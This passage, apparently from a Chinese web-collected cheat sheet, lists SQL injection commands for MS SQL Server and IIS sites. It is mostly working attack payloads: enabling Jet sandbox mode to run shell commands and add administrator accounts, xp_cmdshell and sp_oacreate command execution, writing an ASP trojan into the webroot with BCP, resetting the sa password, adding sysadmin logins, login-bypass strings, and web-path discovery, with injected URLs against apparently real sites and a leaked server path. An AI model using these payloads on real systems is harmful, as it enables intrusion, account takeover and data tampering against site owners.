最全的SQL注入命令及方法-网络收集<br />
(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:<br />
? exec master..xp_regwrite HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Jet\4.0\Engines,SandBoxMode,REG_DWORD,1<br />
注:<br />
0 禁止一切(默认)<br />
1 使能访问ACCESS,但是禁止其它<br />
2 禁止访问ACCESS,但是使能其他<br />
3 使能一切<br />
? 这里仅给出sysadmin权限下使用的命令:<br />
select * from openrowset(microsoft.jet.oledb.4.0,;database=c:\winnt\system32\ias\ias.mdb,select shell("cmd.exe /c net user admin admin1234 /add"))<br />
<br />
? 建立链接数据库L0op8ack参考命令:<br />
EXEC sp_addlinkedserver L0op8ack,OLE DB Provider for Jet,Microsoft.Jet.OLEDB.4.0,c:\windows\system32\ias\ias.mdb<br />
? 如何使用链接数据库:<br />
使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合<br />
sp_addlinkedserver需要sysadmin或setupadmin权限<br />
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限<br />
最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,<br />
一般没有哪个管理员这么设置普通帐户权限的<br />
实用性不强,仅作为一个学习总结吧<br />
大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,<br />
我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败<br />
需要找一个一般用户可访问的mdb才可以:<br />
? 新建链接服务器"L0op8ack":EXEC sp_addlinkedserver L0op8ack,JetOLEDB,Microsoft.Jet.OLEDB.4.0,c:\winnt\system32\ias\ias.mdb;--<br />
? exec sp_addlinkedsrvlogin L0op8ack,false;--或<br />
exec sp_addlinkedsrvlogin L0op8ack, false, NULL, test1, ptlove;--<br />
? select * FROM OPENQUERY(L0op8ack, select shell("cmd.exe /c net user"));--<br />
? exec sp_droplinkedsrvlogin L0op8ack,false;--<br />
? exec sp_dropserver L0op8ack;--<br />
再考贝一个其它文件来代替7.18日文件:<br />
(1)exec master.dbo.xp_cmdshell copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt<br />
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate wscript.shell,@shell output EXEC sp_oamethod @shell,run,null,cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,@fso output EXEC sp_oamethod @fso,opentextfile,@file out,c:\temp.txt WHILE @shell>0 BEGIN EXEC sp_oamethod @file,Readline,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END<br />
(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate wscript.shell,@shell output EXEC sp_oamethod @shell,run,null,cmd.exe /c net user>c:\temp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,@fso output EXEC sp_oamethod @fso,opentextfile,@file out,c:\temp.txt WHILE @shell>0 BEGIN EXEC sp_oamethod @file,Readline,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END <br />
9、 用update来更新表中的数据:<br />
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd=a0b923820dcc509a where username=www;--<br />
www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1;<br />
32位MD5值为: ,密码为<br />
10、 利用表内容导成文件功能<br />
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。<br />
命令行格式如下:<br />
bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp ?c ?S localhost ?U sa ?P upload(S参数为执行查询的服务器,U参数为用户名,P参数为密码,最终上传了一个runcommand.asp的木马)。<br />
11、创建表、播入数据和读取数据的方法<br />
? 创建表:<br />
and 1=1 un&#105;on select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--<br />
? 往表里播入数据:<br />
and 1=1 un&#105;on select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype=U and status>0,@result output insert into cyfd (gyfd) values(@result);--<br />
and 1=1 un&#105;on select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread HKEY_LOCAL_MACHINE,SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots, / ,@result output insert into cyfd (gyfd) values(@result);--<br />
? 从表里读取数据:<br />
and 1=(select count(*) from cyfd where gyfd >1)--<br />
? 删除临时表:<br />
;drop table cyfd;--<br />
12、通过SQL语句直接更改sa的密码:<br />
? update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。<br />
? 查看本机所有的数据库用户名:<br />
select * from master.dbo.sysxlogins<br />
select name,sid,password ,dbid from master.dbo.sysxlogins<br />
? 更改sa口令方法:用sql综合利用工具连接后,执行命令:<br />
exec sp_password NULL,新密码,sa<br />
13、查询dvbbs库中所有的表名和表结构:<br />
? select * from dvbbs.dbo.sysobjects where xtype=U and status>0<br />
? select * from dvbbs.dbo.syscolumns where id=1426104121<br />
14、手工备份当前数据库:<br />
完全备份:<br />
;declare @a sysname,@s nvarchar(4000) <br />
select @a=db_name(),@s=c:/db1 backup database @a to disk=@s WITH formAT--<br />
差异备份:<br />
;declare @a sysname,@s nvarchar(4000) <br />
select @a=db_name(),@s=c:/db1 backup database @a to disk=@s WITH DIFFERENTIAL,formAT?<br />
15、添加和删除一个SA权限的用户test:<br />
exec master.dbo.sp_addlogin test,ptlove<br />
exec master.dbo.sp_addsrvrolemember test,sysadmin<br />
cmd.exe /c isql -E /U alma /P /i K:\test.qry<br />
16、select * from ChouYFD.dbo.sysobjects where xtype=U and status>0 <br />
就可以列出库ChouYFD中所有的用户建立的表名。<br />
select name,id from ChouYFD.dbo.sysobjects where xtype=U and status>0<br />
17、<br />
? http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234)<br />
列出rdweb库中所有表中的字段名称<br />
? select * from dvbbs.dbo.syscolumns where id=5575058 <br />
列出库dvbbs中表id=5575058的所有字段名<br />
18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978<br />
19、绕过登录验证进入后台的方法整理:<br />
1) or=<br />
2) or 1=1--<br />
3) or a=a--<br />
4) or=or<br />
5) " or 1=1-- <br />
6)or 1=1--<br />
7) or a=a<br />
8)" or "a"="a <br />
9) ) or (a=a<br />
10) ") or ("a"="a<br />
11) ) or (1=1<br />
12) or=<br />
13) 人气% and 1=1 and %=<br />
20、寻找网站路径的方法汇总:<br />
1)查看WEB网站安装目录命令:<br />
? cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (将2换成1、3、4、5试试)<br />
type c:\test1.txt<br />
del c:\test1.txt<br />
在NBSI下可以直接显示运行结果,所以不用导出到文件<br />
2)在网站上随便找到一个图片的名字 123.jpg<br />
然后写进批处理程序123.bat:<br />
d:<br />
dir 123.jpg /s >c:\123.txt<br />
e:<br />
dir 123.jpg /s >>c:\123.txt<br />
f:<br />
dir 123.jpg /s >>c:\123.txt<br />
执行后 type c:\123.txt<br />
这样来分析网站的路径<br />
3)SQL服务器和网站服务器在同一个服务器上,好了是可以执行命令是吧?<br />
将执行命令输出结果到<br />
%windir%\help\iishelp\common\404b.htm或者500.asp<br />
注意输出前Backup这两个文件<br />
如:<br />
dir c:\ >%windir%\help\iishelp\common\404b.htm<br />
然后随便输入一个文件来访问:http://目标ip/2.asp<br />
4)针对win2000系统:xp_regread读取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 获取WEB路径<br />
2003系统:xp_regread读取,未找到方法<br />
如:<br />
(1) 新建一个表cyfd(字段为gyfd):http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--<br />
(2) 把web路径写进去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread HKEY_LOCAL_MACHINE,SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots, / ,@result output insert into cyfd (gyfd) values(@result);-- <br />
(3) 还是让他不匹配,显示错误:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1) <br />
Source: .Net SqlClient Data Provider<br />
Description: 将 varchar 值 Y:\Web\烟台人才热线后台管理系统,,201 转换为数据类型为 int 的列时发生语法错误。<br />
TargeSite: Boolean Read() 哈哈哈。。路径暴露了。。 <br />
<br />